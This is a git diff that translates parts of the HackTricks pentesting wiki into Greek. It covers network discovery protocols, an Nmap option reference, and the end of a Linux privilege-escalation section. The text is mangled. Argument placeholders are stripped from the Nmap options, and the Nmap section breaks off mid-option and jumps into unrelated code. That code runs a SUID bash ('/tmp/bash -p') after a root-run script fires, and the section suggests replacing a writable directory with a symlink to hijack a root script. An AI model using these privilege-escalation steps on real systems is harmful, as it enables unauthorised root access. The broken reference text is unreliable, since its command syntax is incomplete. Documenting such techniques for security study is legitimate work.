τομέα απαιτούν ρυθμίσεις δικτύου. +- **Λεπτομέρειες Δικτύωσης**: +- Διευθύνσεις MAC multicast Ethernet: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. +- Διευθύνσεις IP: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. +- Λειτουργεί μέσω της θύρας UDP 5353. +- Τα ερωτήματα mDNS περιορίζονται στο τοπικό δίκτυο και δεν διασχίζουν δρομολογητές. ## DNS-SD (Service Discovery) -DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html). +Το DNS-SD είναι ένα πρωτόκολλο για την ανακάλυψη υπηρεσιών σε ένα δίκτυο μέσω ερωτημάτων συγκεκριμένων ονομάτων τομέα (π.χ., `_printers._tcp.local`). Μια απάντηση περιλαμβάνει όλους τους σχετικούς τομείς, όπως διαθέσιμες εκτυπωτές σε αυτήν την περίπτωση. Μια ολοκληρωμένη λίστα τύπων υπηρεσιών μπορεί να βρεθεί [εδώ](http://www.dns-sd.org/ServiceTypes.html). ## SSDP (Simple Service Discovery Protocol) -SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP. +Το SSDP διευκολύνει την ανακάλυψη δικτυακών υπηρεσιών και χρησιμοποιείται κυρίως από το UPnP. Είναι ένα πρωτόκολλο βασισμένο σε κείμενο που χρησιμοποιεί UDP μέσω της θύρας 1900, με διευθύνσεις multicast. Για το IPv4, η καθορισμένη διεύθυνση multicast είναι `239.255.255.250`. Η βάση του SSDP είναι το [HTTPU](https://en.wikipedia.org/wiki/HTTPU), μια επέκταση του HTTP για UDP. ## Web Service for Devices (WSD) -Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings. +Οι συσκευές που είναι συνδεδεμένες σε ένα δίκτυο μπορούν να αναγνωρίσουν διαθέσιμες υπηρεσίες, όπως εκτυπωτές, μέσω της Υπηρεσίας Ιστού για Συσκευές (WSD). Αυτό περιλαμβάνει την εκπομπή πακέτων UDP. Οι συσκευές που αναζητούν υπηρεσίες στέλνουν αιτήματα, ενώ οι πάροχοι υπηρεσιών ανακοινώνουν τις προσφορές τους. ## OAuth 2.0 -OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data. +Το OAuth 2.0 είναι ένα πρωτόκολλο που διευκολύνει την ασφαλή, επιλεκτική κοινοποίηση πληροφοριών χρηστών μεταξύ υπηρεσιών. Για παράδειγμα, επιτρέπει στις υπηρεσίες να έχουν πρόσβαση σε δεδομένα χρηστών από το Google χωρίς πολλαπλές συνδέσεις. Η διαδικασία περιλαμβάνει την αυθεντικοποίηση του χρήστη, την εξουσιοδότηση από τον χρήστη και τη δημιουργία token από το Google, επιτρέποντας την πρόσβαση στις καθορισμένες πληροφορίες χρηστών. ## RADIUS -RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes. +Το RADIUS (Remote Authentication Dial-In User Service) είναι ένα πρωτόκολλο πρόσβασης δικτύου που χρησιμοποιείται κυρίως από τους ISPs. Υποστηρίζει την αυθεντικοποίηση, την εξουσιοδότηση και την λογιστική. Τα διαπιστευτήρια του χρήστη επαληθεύονται από έναν διακομιστή RADIUS, ενδεχομένως περιλαμβάνοντας επαλήθευση διεύθυνσης δικτύου για πρόσθετη ασφάλεια. Μετά την αυθεντικοποίηση, οι χρήστες αποκτούν πρόσβαση στο δίκτυο και οι λεπτομέρειες της συνεδρίας τους παρακολουθούνται για σκοπούς χρέωσης και στατιστικής. ## SMB and NetBIOS ### SMB (Server Message Block) -SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices. +Το SMB είναι ένα πρωτόκολλο για την κοινή χρήση αρχείων, εκτυπωτών και θυρών. Λειτουργεί απευθείας μέσω TCP (θύρα 445) ή μέσω NetBIOS πάνω από TCP (θύρες 137, 138). Αυτή η διπλή συμβατότητα ενισχύει τη συνδεσιμότητα με διάφορες συσκευές. ### NetBIOS (Network Basic Input/Output System) -NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting. +Το NetBIOS διαχειρίζεται τις συνεδρίες και τις συνδέσεις δικτύου για την κοινή χρήση πόρων. Υποστηρίζει μοναδικά ονόματα για συσκευές και ονόματα ομάδων για πολλές συσκευές, επιτρέποντας στοχευμένη ή εκπεμπόμενη επικοινωνία. Η επικοινωνία μπορεί να είναι χωρίς σύνδεση (χωρίς επιβεβαίωση) ή προσανατολισμένη σε σύνδεση (βασισμένη σε συνεδρία). Ενώ το NetBIOS παραδοσιακά λειτουργεί μέσω πρωτοκόλλων όπως το IPC/IPX, χρησιμοποιείται συνήθως μέσω TCP/IP. Το NetBEUI, ένα σχετικό πρωτόκολλο, είναι γνωστό για την ταχύτητά του αλλά ήταν επίσης αρκετά εκτενές λόγω της εκπομπής. ## LDAP (Lightweight Directory Access Protocol) -LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication. +Το LDAP είναι ένα πρωτόκολλο που επιτρέπει τη διαχείριση και την πρόσβαση πληροφοριών καταλόγου μέσω TCP/IP. Υποστηρίζει διάφορες λειτουργίες για την αναζήτηση και την τροποποίηση πληροφοριών καταλόγου. Κυρίως, χρησιμοποιείται για την πρόσβαση και τη συντήρηση κατανεμημένων υπηρεσιών πληροφοριών καταλόγου, επιτρέποντας την αλληλεπίδραση με βάσεις δεδομένων σχεδιασμένες για επικοινωνία LDAP. ## Active Directory (AD) -Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain. +Το Active Directory είναι μια βάση δεδομένων προσβάσιμη μέσω δικτύου που περιέχει αντικείμενα όπως χρήστες, ομάδες, προνόμια και πόρους, διευκολύνοντας την κεντρική διαχείριση των οντοτήτων του δικτύου. Το AD οργανώνει τα δεδομένα του σε μια ιεραρχική δομή τομέων, η οποία μπορεί να περιλαμβάνει διακομιστές, ομάδες και χρήστες. Οι υποτομείς επιτρέπουν περαιτέρω τμηματοποίηση, καθένας από τους οποίους μπορεί να διατηρεί τον δικό του διακομιστή και βάση χρηστών. Αυτή η δομή κεντρικοποιεί τη διαχείριση χρηστών, παρέχοντας ή περιορίζοντας την πρόσβαση στους πόρους του δικτύου. Μπορούν να γίνουν ερωτήματα για την ανάκτηση συγκεκριμένων πληροφοριών, όπως λεπτομέρειες επαφής, ή για την τοποθέτηση πόρων, όπως εκτυπωτές, εντός του τομέα. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 02535d28b..09d232a76 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,96 +1,90 @@ -# Nmap Summary (ESP) +# Nmap Περίληψη (ESP) {{#include ../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ``` nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +## Παράμετροι -## Parameters +### IPs προς σάρωση -### IPs to scan - -- **`,`:** Indicate the ips directly +- **`,`:** Υποδείξτε τις ips άμεσα - **`-iL `:** list_IPs -- **`-iR `**: Number of random Ips, you can exclude possible Ips with `--exclude ` or `--excludefile `. +- **`-iR `**: Αριθμός τυχαίων Ips, μπορείτε να εξαιρέσετε πιθανές Ips με `--exclude ` ή `--excludefile `. -### Equipment discovery +### Ανακάλυψη εξοπλισμού -By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP` +Από προεπιλογή, το Nmap εκκινεί μια φάση ανακάλυψης που αποτελείται από: `-PA80 -PS443 -PE -PP` -- **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets. -- **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase. -- **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped. -- **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`. -- **`-PS `**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80. -- **`-PA `**: Like the previous one but with ACK, combining both of them gives better results. -- **`-PU `**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable. -- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active. -- **`-PY`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied. -- **`-PO `**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up. -- **`-n`**: No DNS -- **`-R`**: DNS always +- **`-sL`**: Δεν είναι επεμβατικό, καταγράφει τους στόχους κάνοντας **DNS** αιτήσεις για την επίλυση ονομάτων. Είναι χρήσιμο για να γνωρίζετε αν για παράδειγμα www.prueba.es/24 όλες οι Ips είναι οι στόχοι μας. +- **`-Pn`**: **Χωρίς ping**. Αυτό είναι χρήσιμο αν γνωρίζετε ότι όλοι είναι ενεργοί (αν όχι, θα μπορούσατε να χάσετε πολύ χρόνο, αλλά αυτή η επιλογή παράγει επίσης ψευδώς αρνητικά λέγοντας ότι δεν είναι ενεργοί), αποτρέπει τη φάση ανακάλυψης. +- **`-sn`** : **Χωρίς σάρωση θυρών**. Μετά την ολοκλήρωση της φάσης αναγνώρισης, δεν σαρώνει τις θύρες. Είναι σχετικά κρυφό και επιτρέπει μια μικρή σάρωση δικτύου. Με προνόμια στέλνει ένα ACK (-PA) σε 80, ένα SYN(-PS) σε 443 και ένα αίτημα echo και ένα αίτημα Timestamp, χωρίς προνόμια ολοκληρώνει πάντα τις συνδέσεις. Αν ο στόχος είναι το δίκτυο, χρησιμοποιεί μόνο ARP(-PR). Αν χρησιμοποιηθεί με άλλη επιλογή, μόνο τα πακέτα της άλλης επιλογής απορρίπτονται. +- **`-PR`**: **Ping ARP**. Χρησιμοποιείται από προεπιλογή κατά την ανάλυση υπολογιστών στο δίκτυό μας, είναι ταχύτερο από τη χρήση pings. Αν δεν θέλετε να χρησιμοποιήσετε πακέτα ARP, χρησιμοποιήστε `--send-ip`. +- **`-PS `**: Στέλνει SYN πακέτα στα οποία αν απαντήσει SYN/ACK είναι ανοιχτό (σε αυτό που απαντά με RST ώστε να μην τερματίσει τη σύνδεση), αν απαντήσει RST είναι κλειστό και αν δεν απαντήσει είναι μη προσβάσιμο. Σε περίπτωση που δεν έχετε προνόμια, χρησιμοποιείται αυτόματα μια συνολική σύνδεση. Αν δεν δοθούν θύρες, το ρίχνει σε 80. +- **`-PA `**: Όπως το προηγούμενο αλλά με ACK, συνδυάζοντας και τα δύο δίνει καλύτερα αποτελέσματα. +- **`-PU `**: Ο στόχος είναι το αντίθετο, αποστέλλονται σε θύρες που αναμένονται να είναι κλειστές. Ορισμένα τείχη προστασίας ελέγχουν μόνο τις TCP συνδέσεις. Αν είναι κλειστό απαντά με μη προσβάσιμη θύρα, αν απαντηθεί με άλλο icmp ή δεν απαντηθεί, μένει ως μη προσβάσιμος προορισμός. +- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp και addresmask. Εκτοξεύονται για να διαπιστωθεί αν ο στόχος είναι ενεργός. +- **`-PY`**: Στέλνει SCTP INIT probes σε 80 από προεπιλογή, INIT-ACK(ανοιχτό) ή ABORT(κλειστό) ή τίποτα ή ICMP μη προσβάσιμο(ανενεργό) μπορεί να απαντηθεί. +- **`-PO `**: Ένας πρωτόκολλο υποδεικνύεται στα headers, από προεπιλογή 1(ICMP), 2(IGMP) και 4(Encap IP). Για τα πρωτόκολλα ICMP, IGMP, TCP (6) και UDP (17) αποστέλλονται τα headers του πρωτοκόλλου, για τα υπόλοιπα αποστέλλεται μόνο το IP header. Ο σκοπός αυτού είναι ότι λόγω της κακής μορφοποίησης των headers, απαντώνται μη προσβάσιμα πρωτόκολλα ή απαντήσεις του ίδιου πρωτοκόλλου για να γνωρίζουμε αν είναι ενεργό. +- **`-n`**: Χωρίς DNS +- **`-R`**: DNS πάντα -### Port scanning techniques +### Τεχνικές σάρωσης θυρών -- **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default. -- **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges. -- **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time. -- **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY -- **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes. -- **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed. -- **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around. -- **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets. -- **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls. -- **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open. -- **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered. -- **`-b `:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\:\@]\\[:\] Almost all ftps servers no longer let you do this and therefore it is of little practical use. +- **`-sS`**: Δεν ολοκληρώνει τη σύνδεση, οπότε δεν αφήνει ίχνη, πολύ καλό αν μπορεί να χρησιμοποιηθεί.(προνόμια) Είναι αυτό που χρησιμοποιείται από προεπιλογή. +- **`-sT`**: Ολοκληρώνει τη σύνδεση, οπότε αφήνει ίχνη, αλλά μπορεί να χρησιμοποιηθεί σίγουρα. Από προεπιλογή χωρίς προνόμια. +- **`-sU`**: Αργότερα, για UDP. Κυρίως: DNS(53), SNMP(161,162), DHCP(67 και 68), (-sU53,161,162,67,68): ανοιχτό(απάντηση), κλειστό(μη προσβάσιμη θύρα), φιλτραρισμένο (άλλο ICMP), ανοιχτό/φιλτραρισμένο (τίποτα). Σε περίπτωση ανοιχτού/φιλτραρισμένου, -sV στέλνει πολλές αιτήσεις για να ανιχνεύσει οποιαδήποτε από τις εκδόσεις που υποστηρίζει το nmap και μπορεί να ανιχνεύσει την πραγματική κατάσταση. Αυξάνει πολύ τον χρόνο. +- **`-sY`**: Ο πρωτόκολλος SCTP αποτυγχάνει να καθιερώσει τη σύνδεση, οπότε δεν υπάρχουν αρχεία καταγραφής, λειτουργεί όπως το -PY +- **`-sN,-sX,-sF`:** Null, Fin, Xmas, μπορούν να διεισδύσουν σε ορισμένα τείχη προστασίας και να εξάγουν πληροφορίες. Βασίζονται στο γεγονός ότι οι μηχανές που συμμορφώνονται με τα πρότυπα θα πρέπει να απαντούν με RST σε όλα τα αιτήματα που δεν έχουν SYN, RST ή ACK καθυστερήσεις: ανοιχτό/φιλτραρισμένο(τίποτα), κλειστό(RST), φιλτραρισμένο (ICMP μη προσβάσιμο). Αναξιόπιστο σε WIndows, CIsco, BSDI και OS/400. Σε unix ναι. +- **`-sM`**: Maimon scan: Στέλνει FIN και ACK flags, χρησιμοποιείται για BSD, αυτή τη στιγμή θα επιστρέψει όλα ως κλειστά. +- **`-sA, sW`**: ACK και Window, χρησιμοποιείται για την ανίχνευση τειχών προστασίας, για να γνωρίζουμε αν οι θύρες είναι φιλτραρισμένες ή όχι. Το -sW διακρίνει μεταξύ ανοιχτών/κλειστών καθώς οι ανοιχτές απαντούν με μια διαφορετική τιμή παραθύρου: ανοιχτό (RST με παράθυρο διαφορετικό από 0), κλειστό (RST παράθυρο = 0), φιλτραρισμένο (ICMP μη προσβάσιμο ή τίποτα). Όλοι οι υπολογιστές δεν λειτουργούν με αυτόν τον τρόπο, οπότε αν είναι όλα κλειστά, δεν λειτουργεί, αν είναι μερικά ανοιχτά, λειτουργεί καλά, και αν είναι πολλά ανοιχτά και λίγα κλειστά, λειτουργεί αντίστροφα. +- **`-sI`:** Idle scan. Για τις περιπτώσεις στις οποίες υπάρχει ένα ενεργό τείχος προστασίας αλλά γνωρίζουμε ότι δεν φιλτράρει σε μια συγκεκριμένη Ip (ή όταν απλά θέλουμε ανωνυμία) μπορούμε να χρησιμοποιήσουμε τον zombie scanner (λειτουργεί για όλες τις θύρες), για να αναζητήσουμε πιθανούς ζωντανούς μπορούμε να χρησιμοποιήσουμε το scrpit ipidseq ή το exploit auxiliary/scanner/ip/ipidseq. Αυτός ο σαρωτής βασίζεται στον αριθμό IPID των πακέτων IP. +- **`--badsum`:** Στέλνει τη λανθασμένη αθροιστική τιμή, οι υπολογιστές θα απορρίψουν τα πακέτα, αλλά τα τείχη προστασίας θα μπορούσαν να απαντήσουν κάτι, χρησιμοποιείται για την ανίχνευση τειχών προστασίας. +- **`-sZ`:** "Weird" SCTP scanner, όταν στέλνει probes με cookie echo fragments θα πρέπει να απορριφθούν αν είναι ανοιχτά ή να απαντηθούν με ABORT αν είναι κλειστά. Μπορεί να περάσει μέσα από τείχη προστασίας που δεν περνάει το init, το κακό είναι ότι δεν διακρίνει μεταξύ φιλτραρισμένων και ανοιχτών. +- **`-sO`:** Σάρωση πρωτοκόλλου Ip. Στέλνει κακά και κενά headers στα οποία μερικές φορές δεν μπορεί να διακριθεί ούτε το πρωτόκολλο. Αν φτάσει ICMP μη προσβάσιμο πρωτόκολλο είναι κλειστό, αν φτάσει μη προσβάσιμη θύρα είναι ανοιχτό, αν φτάσει άλλο σφάλμα, φιλτραρισμένο, αν δεν φτάσει τίποτα, ανοιχτό|φιλτραρισμένο. +- **`-b `:** FTPhost--> Χρησιμοποιείται για να σαρώσει έναν host από έναν άλλο, αυτό γίνεται συνδέοντας το ftp μιας άλλης μηχανής και ζητώντας της να στείλει αρχεία στις θύρες που θέλετε να σαρώσετε από μια άλλη μηχανή, ανάλογα με τις απαντήσεις θα γνωρίζουμε αν είναι ανοιχτές ή όχι. \[\:\@]\\[:\] Σχεδόν όλοι οι ftps servers δεν σας επιτρέπουν πλέον να το κάνετε αυτό και επομένως είναι ελάχιστα πρακτικό. -### **Focus Analysis** +### **Ανάλυση Εστίασης** -**-p:** Used to specify ports to scan. To select all 65,335 ports: **-p-** or **-p all**. Nmap has an internal classification based on popularity. By default, it uses the top 1000 ports. With **-F** (fast scan) it analyzes the top 100. With **--top-ports ** it analyzes that number of top ports (from 1 to 65,335). It checks ports in random order; to prevent this, use **-r**. We can also select specific ports: 20-30,80,443,1024- (the latter means to look from 1024 onwards). We can also group ports by protocols: U:53,T:21-25,80,139,S:9. We can also choose a range within Nmap's popular ports: -p [-1024] analyzes up to port 1024 from those included in nmap-services. **--port-ratio ** Analyzes the most common ports within a ratio between 0 and 1 +**-p:** Χρησιμοποιείται για να προσδιορίσει τις θύρες προς σάρωση. Για να επιλέξετε όλες τις 65,335 θύρες: **-p-** ή **-p all**. Το Nmap έχει μια εσωτερική ταξινόμηση βασισμένη στη δημοτικότητα. Από προεπιλογή, χρησιμοποιεί τις 1000 κορυφαίες θύρες. Με **-F** (γρήγορη σάρωση) αναλύει τις 100 κορυφαίες. Με **--top-ports ** αναλύει αυτόν τον αριθμό κορυφαίων θυρών (από 1 έως 65,335). Ελέγχει τις θύρες σε τυχαία σειρά; για να το αποτρέψετε, χρησιμοποιήστε **-r**. Μπορούμε επίσης να επιλέξουμε συγκεκριμένες θύρες: 20-30,80,443,1024- (το τελευταίο σημαίνει να κοιτάξουμε από το 1024 και μετά). Μπορούμε επίσης να ομαδοποιήσουμε τις θύρες κατά πρωτόκολλα: U:53,T:21-25,80,139,S:9. Μπορούμε επίσης να επιλέξουμε μια περιοχή εντός των δημοφιλών θυρών του Nmap: -p [-1024] αναλύει έως τη θύρα 1024 από αυτές που περιλαμβάνονται στο nmap-services. **--port-ratio ** Αναλύει τις πιο κοινές θύρες εντός ενός λόγου μεταξύ 0 και 1 -**-sV** Version scanning, intensity can be regulated from 0 to 9, default is 7. +**-sV** Σάρωση εκδόσεων, η ένταση μπορεί να ρυθμιστεί από 0 έως 9, η προεπιλογή είναι 7. -**--version-intensity ** We regulate the intensity, so that the lower it is, it will only launch the most probable probes, but not all. With this, we can considerably shorten UDP scanning time +**--version-intensity ** Ρυθμίζουμε την ένταση, έτσι ώστε όσο χαμηλότερη είναι, θα εκτοξεύει μόνο τις πιο πιθανές αιτήσεις, αλλά όχι όλες. Με αυτό, μπορούμε να συντομεύσουμε σημαντικά τον χρόνο σάρωσης UDP -**-O** OS detection +**-O** Ανίχνευση λειτουργικού συστήματος -**--osscan-limit** For proper host scanning, at least one open port and one closed port are needed. If this condition isn't met and we've set this, it won't attempt OS prediction (saves time) +**--osscan-limit** Για σωστή σάρωση host, απαιτείται τουλάχιστον μία ανοιχτή θύρα και μία κλειστή θύρα. Αν αυτή η προϋπόθεση δεν πληρούται και έχουμε ορίσει αυτό, δεν θα προσπαθήσει να προβλέψει το OS (εξοικονομεί χρόνο) -**--osscan-guess** When OS detection isn't perfect, this makes it try harder +**--osscan-guess** Όταν η ανίχνευση OS δεν είναι τέλεια, αυτό το καθιστά να προσπαθεί περισσότερο -**Scripts** +**Σενάρια** --script __|__|__|__[,...] -To use default scripts, use -sC or --script=default +Για να χρησιμοποιήσετε τα προεπιλεγμένα σενάρια, χρησιμοποιήστε -sC ή --script=default -Available types are: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln +Διαθέσιμες κατηγορίες είναι: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, και vuln -- **Auth:** executes all available authentication scripts -- **Default:** executes basic default tool scripts -- **Discovery:** retrieves information from the target or victim -- **External:** script for using external resources -- **Intrusive:** uses scripts considered intrusive to the victim or target -- **Malware:** checks for connections opened by malicious code or backdoors -- **Safe:** executes non-intrusive scripts -- **Vuln:** discovers the most known vulnerabilities -- **All:** executes absolutely all available NSE extension scripts +- **Auth:** εκτελεί όλα τα διαθέσιμα σενάρια αυθεντικοποίησης +- **Default:** εκτελεί βασικά σενάρια εργαλείων προεπιλογής +- **Discovery:** ανακτά πληροφορίες από τον στόχο ή το θύμα +- **External:** σενάριο για τη χρήση εξωτερικών πόρων +- **Intrusive:** χρησιμοποιεί σενάρια που θεωρούνται επεμβατικά για το θύμα ή τον στόχο +- **Malware:** ελέγχει για συνδέσεις που ανοίγονται από κακόβουλο κώδικα ή backdoors +- **Safe:** εκτελεί μη επεμβατικά σενάρια +- **Vuln:** ανακαλύπτει τις πιο γνωστές ευπάθειες +- **All:** εκτελεί απολύτως όλα τα διαθέσιμα σενάρια NSE -To search for scripts: +Για να αναζητήσετε σενάρια: -**nmap --script-help="http-\*" -> Those starting with http-** +**nmap --script-help="http-\*" -> Αυτά που ξεκινούν με http-** -**nmap --script-help="not intrusive" -> All except those** +**nmap --script-help="not intrusive" -> Όλα εκτός από αυτά** -**nmap --script-help="default or safe" -> Those in either or both** +**nmap --script-help="default or safe" -> Αυτά σε οποιοδήποτε ή και τα δύο** -**nmap --script-help="default and safe" --> Those in both** +**nmap --script-help="default and safe" --> Αυτά και στα δύο** **nmap --script-help="(default or safe or intrusive) and not http-\*"** @@ -100,135 +94,135 @@ To search for scripts: --script-help __|__|__|__|all[,...] ---script-trace ---> Provides info on how the script is progressing +--script-trace ---> Παρέχει πληροφορίες σχετικά με την πρόοδο του σεναρίου --script-updatedb -**To use a script, just type: nmap --script Script_Name target** --> When using the script, both the script and scanner will execute, so scanner options can also be added. We can add **"safe=1"** to execute only safe ones. +**Για να χρησιμοποιήσετε ένα σενάριο, απλά πληκτρολογήστε: nmap --script Script_Name target** --> Όταν χρησιμοποιείτε το σενάριο, τόσο το σενάριο όσο και ο σαρωτής θα εκτελούνται, οπότε οι επιλογές σαρωτή μπορούν επίσης να προστεθούν. Μπορούμε να προσθέσουμε **"safe=1"** για να εκτελέσουμε μόνο ασφαλή. -**Time Control** +**Έλεγχος Χρόνου** -**Nmap can modify time in seconds, minutes, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Το Nmap μπορεί να τροποποιήσει το χρόνο σε δευτερόλεπτα, λεπτά, ms:** --host-timeout arguments 900000ms, 900, 900s, και 15m όλα κάνουν το ίδιο πράγμα. -Nmap divides the total number of hosts to scan into groups and analyzes these groups in blocks, so it doesn't move to the next block until all have been analyzed (and the user doesn't receive any updates until the block has been analyzed). This way, it's more optimal for Nmap to use large groups. By default in class C, it uses 256. +Το Nmap διαιρεί τον συνολικό αριθμό των hosts προς σάρωση σε ομάδες και αναλύει αυτές τις ομάδες σε μπλοκ, έτσι ώστε να μην μεταβεί στο επόμενο μπλοκ μέχρι να έχουν αναλυθεί όλα (και ο χρήστης δεν λαμβάνει καμία ενημέρωση μέχρι να έχει αναλυθεί το μπλοκ). Με αυτόν τον τρόπο, είναι πιο βέλτιστο για το Nmap να χρησιμοποιεί μεγάλες ομάδες. Από προεπιλογή στην κατηγορία C, χρησιμοποιεί 256. -This can be changed with **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Adjust parallel scan group sizes) +Αυτό μπορεί να αλλάξει με **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Ρυθμίστε τα μεγέθη ομάδας παράλληλης σάρωσης) -You can control the number of parallel scanners but it's better not to (Nmap already incorporates automatic control based on network status): **--min-parallelism** _****_**;** **--max-parallelism** _****_ +Μπορείτε να ελέγξετε τον αριθμό των παράλληλων σαρωτών αλλά είναι καλύτερα να μην το κάνετε (το Nmap ήδη ενσωματώνει αυτόματο έλεγχο με βάση την κατάσταση του δικτύου): **--min-parallelism** _****_**;** **--max-parallelism** _****_ -We can modify the RTT timeout, but it's usually not necessary: **--min-rtt-timeout** _**
#Wait until it is executed /tmp/bash -p ``` -Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί ένα **κατάλογο όπου έχετε πλήρη πρόσβαση**, ίσως θα ήταν χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς. +Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί ένα **κατάλογο όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς. ```bash ln -d -s
